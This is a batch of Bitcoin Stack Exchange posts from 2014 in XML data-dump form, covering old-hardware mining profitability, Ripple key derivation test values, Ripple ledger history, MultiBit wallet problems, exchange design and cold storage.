  <row Id="25139" PostTypeId="1" CreationDate="2014-05-06T14:38:00.377" Score="2" ViewCount="9216" Body="&lt;p&gt;Is it worth using about 20 old dell workstations to mine at once? They have ancient hardware from about 2003-2005. Would it be better to use than one computer from modern time?&lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="5406" LastEditDate="2016-04-10T10:26:01.993" LastActivityDate="2016-04-10T10:26:01.993" Title="Mining with multiple older computers" Tags="|mining-profitability|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25140" PostTypeId="2" ParentId="25139" CreationDate="2014-05-06T14:58:28.120" Score="0" Body="&lt;p&gt;From a power standpoint it would be much more expensive than mining with a normal machine. Bitcoin CPU mining has been phased out by GPUs and GPUs have been phased out by ASICs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some coins which are more effective by CPU or are not yet implemented in GPU. I would say this is your best possible chance at netting a return even on just the power consumption of your rigs. There is a well-maintained list available at &lt;a href=&quot;http://cpucoinlist.com/&quot; rel=&quot;nofollow&quot;&gt;http://cpucoinlist.com/&lt;/a&gt; make sure to google the algorithm + GPU (e.g. &quot;X11 GPU&quot;) to make sure there is no GPU mining.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-05-06T14:58:28.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25141" PostTypeId="2" ParentId="25139" CreationDate="2014-05-06T14:59:01.070" Score="4" Body="&lt;p&gt;I wouldn't use them to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since GPUs back then couldn't do arbitrary calculations, the only thing you can use are the CPUs. CPUs are relatively better at mining scrypt (e.g. Litecoin) than SHA256 (e.g. Bitcoin), so let's go with that. Based on the oldest &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison#Intel&quot; rel=&quot;nofollow&quot;&gt;CPUs listed&lt;/a&gt; (which aren't quite old enough) on Litecoin's wiki, I'm going to guess that each computer can do 5 kH/s, which is probably being too generous. So that's a total of 100 kH/s. Plugging that into &lt;a href=&quot;http://www.coinwarz.com/calculators/litecoin-mining-calculator/?h=100.00&amp;amp;p=500.00&amp;amp;pc=0.10&amp;amp;pf=0.00&amp;amp;d=7338.31295246&amp;amp;r=50.00000000&amp;amp;er=0.02433238&amp;amp;btcer=430.04000000&amp;amp;hc=0.00&quot; rel=&quot;nofollow&quot;&gt;a calculator&lt;/a&gt;, even with assuming (another probably-too-generous assumption) 500 W total are used (that wouldn't otherwise be used), you're losing money if you have to pay for the electricity and/or cooling. (making maybe $0.14 per day, pre-expenses)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, a &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison#AMD_.28ATI.29&quot; rel=&quot;nofollow&quot;&gt;modern GPU&lt;/a&gt; can mine around 1400 kH/s for ~500 W ($2.01/day pre-expenses). Or a dedicated &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00HL4MEG6&quot; rel=&quot;nofollow&quot;&gt;Bitcoin miner&lt;/a&gt; could actually &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;turn a profit&lt;/a&gt; ($4.84/day pre-epenses) in a reasonable amount of time (of course, you're basically betting on/investing in the future of Bitcoin by buying something like that, which involves a good deal of risk/uncertainty).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-07T14:49:46.117" LastActivityDate="2014-05-07T14:49:46.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25142" PostTypeId="2" ParentId="25131" CreationDate="2014-05-06T16:17:27.843" Score="1" Body="&lt;p&gt;You can reference the &lt;a href=&quot;https://bitbucket.org/dchapes/ripple/src/default/crypto/rkey/familyseed_test.go&quot; rel=&quot;nofollow noreferrer&quot;&gt;test cases&lt;/a&gt; in my Go implementation of this&#xA;that I linked to in an &lt;a href=&quot;https://bitcoin.stackexchange.com/a/18880/3364&quot;&gt;answer&lt;/a&gt; to a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18858/what-is-the-algorithm-for-generating-a-ripple-address-from-a-ecdsa-public-key&quot;&gt;similar question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the case given on the wiki page the values should be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;secret: shHM53KPZ87Gwdqarm1bAmPeXg8Tn ==&#xA;0x71ED064155FFADFA38782C5E0158CB26&lt;/li&gt;&#xA;&lt;li&gt;private generator: 0x7CFBA64F771E93E817E15039215430B53F7401C34931D111EAB3510B22DBB0D8&lt;/li&gt;&#xA;&lt;li&gt;public generator: fht5yrLWh3P8DrJgQuVNDPQVXGTMyPpgRHFKGQzFQ66o3ssesk3o&lt;/li&gt;&#xA;&lt;li&gt;first private key: pwMPbuE25rnajigDPBEh9Pwv8bMV2ebN9gVPTWTh4c3DtB14iGL&lt;/li&gt;&#xA;&lt;li&gt;first public key: aBRoQibi2jpDofohooFuzZi9nEzKw9Zdfc4ExVNmuXHaJpSPh8uJ&lt;/li&gt;&#xA;&lt;li&gt;first Ripple address: rhcfR9Cg98qCxHpCcPBmMonbDBXo84wyTn&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Many of those are in Ripple's base58 encoding. I can provide the hex equivalent if required but it's probably easier for people to get the above linked Go package and run the test cases themselves. It should be trivial for any programer (whether they know Go or not) to tweak the test code to show them whatever details they need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;With the private/public generators you specify (0x7CFBA64F… and 0x0388E5BA…) you should be hashing &lt;code&gt;0x0388e5ba87a000cb807240df8c848eb0b5ffa5c8e5a521bc8e105c0f0a442178280000000000000000&lt;/code&gt; into &lt;code&gt;0x28f3e125edb203022c7d22c486284706058c209dbf4a98c3923705a4e5347c7a&lt;/code&gt; which is good and doesn't requre incrementing the sub-sequence.&#xA;That is added to the private generator mod N to result in a private key of &lt;code&gt;0xa5ef877564d096ea445e72fda77c77bb45002261087c69d57cea56b008102d52&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-05-06T17:46:33.860" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25143" PostTypeId="2" ParentId="25134" CreationDate="2014-05-06T16:58:42.027" Score="5" Body="&lt;p&gt;First note that Ripple uses the term &lt;a href=&quot;https://ripple.com/wiki/Ledger&quot; rel=&quot;noreferrer&quot;&gt;ledger&lt;/a&gt; slightly differently than &lt;a href=&quot;https://en.wikipedia.org/wiki/Ledger&quot; rel=&quot;noreferrer&quot;&gt;general use&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ripple a ledger is the set of all Ripple accounts, all their &lt;em&gt;current&lt;/em&gt; balances, all open trade offers, and only the transaction details that justify the changes in this ledger from the previous ledger. A &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#Specifying_the_ledger&quot; rel=&quot;noreferrer&quot;&gt;specific Ripple ledger&lt;/a&gt; does &lt;em&gt;not&lt;/em&gt; contain any other past history of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even so, a Ripple ledger can still be somewhat large due to implementation details of it's binary representation. The implementation values lookup speed, syncing efficiency, hashing of sub-parts, and other features over absolute size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction history in Ripple is stored by servers keeping multiple past ledgers, as many as desired, that form a chain similar to Bitcoin's block chain. However, unlike Bitcoin, it's possible for new transactions to be processed by a Ripple server that only has the last validated ledger. Such servers (validators) are free to discard all older ledgers (and their transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently most public facing Ripple servers (that accept transaction submissions and state queries) maintain a &lt;a href=&quot;https://ripple.com/wiki/Genesis_ledger&quot; rel=&quot;noreferrer&quot;&gt;near fully history&lt;/a&gt; of all past ledgers and can therefore answer queries relating to historical information (e.g. a list of past transactions that effected a specific account via the &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#account_tx&quot; rel=&quot;noreferrer&quot;&gt;account_tx&lt;/a&gt; API), but there is no requirement for any given Ripple server to make such history available (servers inform clients of the range or ledgers they have available).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's desirable to have at least a few Ripple servers making as much past history as possible publicly available so that anyone interested can query information about past transactions. For example, it is expected that gateways will run Ripple servers for their customers and would configure at least some of those to store the full history since the gateway's inception (at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the storage requirements for full history increase it may become more common to have &quot;slim&quot; Ripple servers that only store a fixed history (perhaps a few weeks worth) for cost reasons. Ripple clients could use these for faster day-to-day operation (for example if their were more of these or if they were located closer to the client) and only need to query the potentially slower (for example if they're fewer and more overloaded or farther away from the client) servers when more ancient history is required.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="3364" LastEditDate="2014-05-06T17:04:30.730" LastActivityDate="2014-05-06T17:04:30.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25144" PostTypeId="2" ParentId="25131" CreationDate="2014-05-06T17:54:08.157" Score="0" Body="&lt;p&gt;It turns out I was using master seed + sequence + subsequence, while I should've been using public generator + sequence + subsequence. So in my example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I take &lt;code&gt;0388E5BA87A000CB807240DF8C848EB0B5FFA5C8E5A521BC8E105C0F0A442178280000000000000000&lt;/code&gt; and half-SHA512 hash it, I get &lt;code&gt;28F3E125EDB203022C7D22C486284706058C209DBF4A98C3923705A4E5347C7A&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Adding &lt;code&gt;7CFBA64F771E93E817E15039215430B53F7401C34931D111EAB3510B22DBB0D8&lt;/code&gt; (private generator) and &lt;code&gt;28F3E125EDB203022C7D22C486284706058C209DBF4A98C3923705A4E5347C7A&lt;/code&gt; I get &lt;code&gt;A5EF877564D096EA445E72FDA77C77BB45002261087C69D57CEA56B008102D52&lt;/code&gt; - the private key&lt;/li&gt;&#xA;&lt;li&gt;The corresponding address is &lt;code&gt;rhcfR9Cg98qCxHpCcPBmMonbDBXo84wyTn&lt;/code&gt;, which is exactly what I needed to generate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-05-06T17:54:08.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25146" PostTypeId="1" CreationDate="2014-05-06T19:13:45.557" Score="1" ViewCount="332" Body="&lt;p&gt;I am running Multibit on Windows 7. When I open it, the synchronization will initially start, but then stop after a while due to &quot;another program attempting to change files&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't move any files while it was running. I have also tried updating MultiBit, but the same error occurred again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this error and how can I resolve it?&lt;/p&gt;&#xA;" OwnerUserId="15644" LastEditorUserId="5406" LastEditDate="2014-05-08T06:19:22.157" LastActivityDate="2014-05-08T06:19:22.157" Title="My Multibit wallet stops updating and says another program has changed files. How can I solve this?" Tags="|wallet|multibit|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25147" PostTypeId="2" ParentId="25132" CreationDate="2014-05-06T20:09:39.927" Score="1" Body="&lt;p&gt;There is no evidence that Mtgox has been hacked, it may be a fraud.&#xA;There is only one bitcoin theft that is fully documented. You can find details &lt;a href=&quot;http://www.forbes.com/sites/andygreenberg/2013/10/25/fbi-says-its-seized-20-million-in-bitcoins-from-ross-ulbricht-alleged-owner-of-silk-road/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-05-06T20:09:39.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25148" PostTypeId="2" ParentId="25084" CreationDate="2014-05-06T21:15:18.973" Score="0" Body="&lt;p&gt;There is &lt;a href=&quot;https://www.google.com/search?q=toblibot&amp;amp;oq=toblibot&amp;amp;aqs=chrome..69i57j69i60l3j69i61j69i65.1284j0j1&amp;amp;sourceid=chrome&amp;amp;es_sm=91&amp;amp;ie=UTF-8&quot; rel=&quot;nofollow&quot;&gt;Toblibot&lt;/a&gt; and &lt;a href=&quot;https://www.google.com/search?q=toblibot&amp;amp;oq=toblibot&amp;amp;aqs=chrome..69i57j69i60l3j69i61j69i65.1284j0j1&amp;amp;sourceid=chrome&amp;amp;es_sm=91&amp;amp;ie=UTF-8#q=gekko%20bitcoin%20trader&quot; rel=&quot;nofollow&quot;&gt;Gekko&lt;/a&gt; and maybe some others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like Gekko quite a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick google search will reveal them to you.&lt;/p&gt;&#xA;" OwnerUserId="564" LastActivityDate="2014-05-06T21:15:18.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25149" PostTypeId="2" ParentId="21389" CreationDate="2014-05-06T21:37:53.660" Score="2" Body="&lt;p&gt;If you want a detailed tutorial on how to install coinpunk on centos from scratch then please refer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themerkle.com/how-to-install-coinpunk-on-centos-6-5/&quot; rel=&quot;nofollow&quot;&gt;themerkle - how to install coinpunk on centos 6.5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15645" LastEditorUserId="15645" LastEditDate="2016-05-10T04:36:40.677" LastActivityDate="2016-05-10T04:36:40.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25150" PostTypeId="2" ParentId="25102" CreationDate="2014-05-06T21:50:04.467" Score="0" Body="&lt;p&gt;you need to set it in config.py,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 22:&#xA;This is the minimum difficulty for your main mining coin (e.g. Bitcoin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ShareTarget = 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are wanting to setup merged mining the difficulty for that is controlled by line 161 one config.py:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GotWorkTarget = 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-05-06T21:50:04.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25153" PostTypeId="1" CreationDate="2014-05-07T00:05:14.967" Score="8" ViewCount="7368" Body="&lt;p&gt;Basically what I'm looking for is a reliable API that allows for the conversion of an imputed currency amount such as USD/Euro amount and a conversion would be made that would  convert the amount to BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to also point out that I am not looking to convert hard cash for actual bitcoin. I am only looking to determine the current value conversion of a particular USD/Euro at that particular time period. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping to use this feature on a current website (HTML/PHP/ETC..) that I am working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can point me to a reliable API that can perform such a task please let me know. Also if you happen to have any guides in regards to implementing/using the API that would also be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to also point out that I have gathered a few API URLs from numerous websites which can be viewed at the comment section. Now my question is how do I go about choosing the most efficient API and is their any step to step guides, that guides someone in implementing a particular API?&lt;/p&gt;&#xA;" OwnerUserId="15451" LastEditorUserId="4334" LastEditDate="2015-07-02T09:52:48.290" LastActivityDate="2018-10-14T14:19:44.627" Title="API for converting currency such as Euro/USD to BTC" Tags="|exchanges|api|php|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25156" PostTypeId="1" CreationDate="2014-05-07T03:56:32.173" Score="-1" ViewCount="2302" Body="&lt;p&gt;I recently purchased a fair sum of bitcoins through Coin Cafe. My transaction went through without a hitch and my coins are sitting in an online wallet given to me through their site. I chose MultiBit as my desktop wallet and I set it up earlier today to have myself ready for coin transfer once my coins were available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I transfer my bitcoins from Coin Cafe to my MultiBit wallet?&lt;/p&gt;&#xA;" OwnerUserId="15651" LastEditorUserId="5406" LastEditDate="2014-05-07T09:27:36.257" LastActivityDate="2015-03-03T23:55:04.050" Title="How can I transfer my Bitcoins from Coin Cafe to my local MultiBit wallet?" Tags="|withdrawal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25158" PostTypeId="2" ParentId="25001" CreationDate="2014-05-07T08:37:47.480" Score="2" Body="&lt;p&gt;This &quot;rails application&quot; you would like to create, could be called an &quot;exchange platform&quot;. A challenge hereby is to create a secure platform, as you will be taking responsibility for and handling other people's money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One main difference between exchange platforms is how services facilitate the trade: I am aware of three different &lt;em&gt;modi operandi&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Service only sells crypto.&lt;/strong&gt; (e.g. Coinbase.com)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The service offers crypto currency at a given price. &lt;/li&gt;&#xA;&lt;li&gt;The user accepts the current offer for a specific amount and provides an address where he wants to receive the crypto currency.&lt;/li&gt;&#xA;&lt;li&gt;The user sends a fiat deposit to the service.&lt;/li&gt;&#xA;&lt;li&gt;The service waits for the user's payment to clear, then sends the crypto to the user's address.&lt;br&gt;&#xA;&amp;nbsp;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Service holds crypto in escrow.&lt;/strong&gt; (e.g. Bitcoin.de)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User Alice sends a crypto currency deposit to the service.&lt;/li&gt;&#xA;&lt;li&gt;Alice creates an offer on the service's platform to sell a specific amount of crypto at a certain price.&lt;/li&gt;&#xA;&lt;li&gt;User Bob accepts Alice's offer.&lt;/li&gt;&#xA;&lt;li&gt;Bob sends a fiat payment to Alice.&lt;/li&gt;&#xA;&lt;li&gt;Once Alice receives the payment from Bob, she confirms the payment to the service.&lt;/li&gt;&#xA;&lt;li&gt;The service sends Alice's crypto currency deposit to Bob, after taking their fees from it.&lt;/li&gt;&#xA;&lt;li&gt;If something goes wrong, the service mediates the dispute.&lt;br&gt;&#xA;&amp;nbsp;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Service holds deposits of all currencies.&lt;/strong&gt; (e.g. Bitstamp.net)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User Alice sends a crypto currency deposit to the service.&lt;/li&gt;&#xA;&lt;li&gt;Alice can now create a &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sell offer at a specific price (limit order)&#xA;Which will remain in the order book until somebody is willing to pay the price she set.&lt;/li&gt;&#xA;&lt;li&gt;sell immediately at the current price (market order)&lt;br&gt;&#xA;Which will match the best buy offers until her order is matched completely.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Vice versa user Bob sends a fiat deposit to the service.&lt;/li&gt;&#xA;&lt;li&gt;User Bob can now create a&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;buy offer at a specific price (limit order)&#xA;Which will remain in the order book until somebody is willing to sell for the price he set.&lt;/li&gt;&#xA;&lt;li&gt;buy immediately at the current price (market order)&lt;br&gt;&#xA;Which will match the best sell offers until his order is matched completely.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;At any point, Alice and Bob can withdraw their deposits from the service.&lt;br&gt;&#xA;You can find a more detailed example at &lt;a href=&quot;https://bitcoin.stackexchange.com/a/20759/5406&quot;&gt;How do buy and sell orders work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any of the above should also work for exchanging crypto for crypto.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In order to make the complete platform work, you will need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User interface, i.e. a website&lt;/li&gt;&#xA;&lt;li&gt;User management including fulfillment of local KYC, AML laws&lt;/li&gt;&#xA;&lt;li&gt;Orderbook&lt;/li&gt;&#xA;&lt;li&gt;Matching engine&lt;/li&gt;&#xA;&lt;li&gt;Wallets for any tradable crypto currencies&lt;/li&gt;&#xA;&lt;li&gt;Cold storage for any tradable crypto currencies&lt;/li&gt;&#xA;&lt;li&gt;Payment processing for fiat currencies, maybe a banking partner&lt;/li&gt;&#xA;&lt;li&gt;Customer Service&lt;/li&gt;&#xA;&lt;li&gt;Legal advice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might also find &lt;a href=&quot;https://bitcoin.stackexchange.com/q/18540/5406&quot;&gt;What would it take to create my own Bitcoin exchange?&lt;/a&gt; helpful, which goes more in-depth on the same topic.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Concerning your question for open source Bitcoin exchange software, this question has been answered here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1447/5406&quot;&gt;Is there an open source Bitcoin exchange?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-05-08T09:59:18.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25159" PostTypeId="2" ParentId="25156" CreationDate="2014-05-07T09:24:05.687" Score="2" Body="&lt;p&gt;It is not clear what you have tried so far, but step-by-step you want to do something along the lines of this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;strong&gt;Multibit&lt;/strong&gt; create a new receiving address by clicking the &quot;New&quot; button.&lt;/li&gt;&#xA;&lt;li&gt;On &lt;strong&gt;Coin Cafe&lt;/strong&gt; look for a &quot;Send Bitcoins&quot; or &quot;Withdraw Bitcoins&quot; option.&lt;/li&gt;&#xA;&lt;li&gt;Check out any help provided on this option, to see if there is a fee for the withdrawal.&lt;/li&gt;&#xA;&lt;li&gt;The &quot;Withdrawal option&quot; should allow you to specify a destination and an amount: Put the &quot;receiving address&quot; you created in Multibit as destination, and (if there is a fee for the withdrawal) &lt;code&gt;your balance - fee&lt;/code&gt; as the amount.&lt;/li&gt;&#xA;&lt;li&gt;Confirm the transaction/withdrawal&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you cannot find a withdrawal option, check out the help section, or get in touch with Coin Cafe's customer service: They provide a live chat, service email address and phone number.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-07T09:24:05.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25160" PostTypeId="1" CreationDate="2014-05-07T10:26:33.687" Score="1" ViewCount="602" Body="&lt;p&gt;Okay so I have tried Resetting Blockchain and Transactions plenty of times. The only thing is I used an old receiving address that I used about 2 months ago. Do these addresses expire? Can they only be used once? I don't know. I'm not too good at this. Here is my Wallet: &lt;a href=&quot;http://puu.sh/8CBpT.png&quot; rel=&quot;nofollow&quot;&gt;http://puu.sh/8CBpT.png&lt;/a&gt; Here is the blockchain of my receiving address: &lt;a href=&quot;https://blockchain.info/address/12EFht1oW3h2ybNYP2NrJKF26oPicFs8mM&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/12EFht1oW3h2ybNYP2NrJKF26oPicFs8mM&lt;/a&gt; Is there any way to retrieve my bitcoin? Do you guys have any answers? I have looked everywhere on google and I have gotten nowhere.&lt;/p&gt;&#xA;" OwnerUserId="15661" LastActivityDate="2019-04-26T13:09:57.977" Title="Do receiving addresses expire on Multibit?" Tags="|blockchain|address|multibit|coinbase.com|receiving|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25161" PostTypeId="2" ParentId="4471" CreationDate="2014-05-07T10:41:56.577" Score="-2" Body="&lt;p&gt;There are countless reasons why you should choose bitcoin over credit cards. Some are the following: 1) No Paperwork Involved-it does not ask for any identification information unlike credit cards wherein you’re required to input your address and contact details., 2) It’s Quick and Easy--generally confirmed within an hour or less, 3) Irreversible Transactions-only payment method that is 100% irreversible and cannot be charged back., 4) You can carry it anywhere-BTC can be store either in your desktop of smartphone; just scan the QR code and you are good to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: Bitcoin’s Advantages over Credit Cards--&lt;a href=&quot;http://bitcoindaily.com/bitcoins-advantages-over-credit-cards/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoindaily.com/bitcoins-advantages-over-credit-cards/&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="15662" LastActivityDate="2014-05-07T10:41:56.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25162" PostTypeId="2" ParentId="24970" CreationDate="2014-05-07T11:03:59.403" Score="2" Body="&lt;p&gt;I sincerely doubt that any exchange uses individual cold storage wallets, the overhead would be too big: Every time an offer is matched on the exchange or somebody wants to withdraw money, the individual wallets of the involved parties would have to be imported from cold storage and then recreated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if an exchange only used a single address for cold storage, if they ever had to import it, all money would be online at the same time. That would be very insecure.&lt;br&gt;&#xA;It might be feasible to sign transactions offline and then safely transfer those via mobile data storages. The offline computer would have to be made aware of the current state of the Blockchain regularly though, so, on the other hand the blockchain would have to be transfered to it manually as well. The problem I see with that would be that withdrawals would be extremely slow, or you'd have to have people running USB sticks 24/7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume that every exchange uses many different cold storage addresses. If I were to create a scheme, I would reroute all deposits directly to cold storage upon receival, and change the cold storage address in use whenever a pre-determined cap is reached. I would only store an amount on each cold storage wallet, that I'd be comfortable to have in my hot wallet at one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then keep a small amount of crypto currency in my hot wallet, in order to automatically process withdrawals. Whenever the amount in my hot wallet runs low, I would import the oldest cold storage address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-07T11:03:59.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25163" PostTypeId="2" ParentId="25106" CreationDate="2014-05-07T11:11:07.820" Score="2" Body="&lt;p&gt;I would reroute all incoming deposits to cold storage, which I would keep in small portions on different addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I'd import some cold storage addresses to my hot wallet whenever my hot wallet is running low, keeping the amount in my hot wallet in the range between &quot;not empty&quot; and &quot;what I'm comfortable having in the hot wallet&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Mike mentioned, multi-signature addresses could provide additional security, and accountability.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-07T11:11:07.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25164" PostTypeId="1" CreationDate="2014-05-07T11:25:38.943" Score="1" ViewCount="149" Body="&lt;p&gt;I have bitcoind 0.9.1 installed on my VPS debian server. I would like to store my coins via &quot;cold storage&quot;, on paper wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read some articles over internet, but i don't know which one is usable/achievable in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone tell me some ideas how can i achieving cold storage via bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="15663" LastEditorUserId="15663" LastEditDate="2014-05-07T11:33:33.830" LastActivityDate="2014-06-06T14:49:57.877" Title="How to store/export coins from bitcoind to papper wallet 'cold storage'" Tags="|bitcoind|coldstorage|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25165" PostTypeId="2" ParentId="25160" CreationDate="2014-05-07T11:27:22.877" Score="2" Body="&lt;p&gt;But to answer the question: addresses do NOT expire. Not in Multibit, not in cold storage, not online (unless the site retired and you do not have an offline private key or wallet), nor any other wallet software. They can be used unlimited amount of times, so that's not the problem either. The problem your face is probably in Multibit. You can try to backup the &lt;code&gt;.wallet&lt;/code&gt; or &lt;code&gt;.key&lt;/code&gt;, and import it in another wallet software, or delete/reinstall Multibit.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-07T11:27:22.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
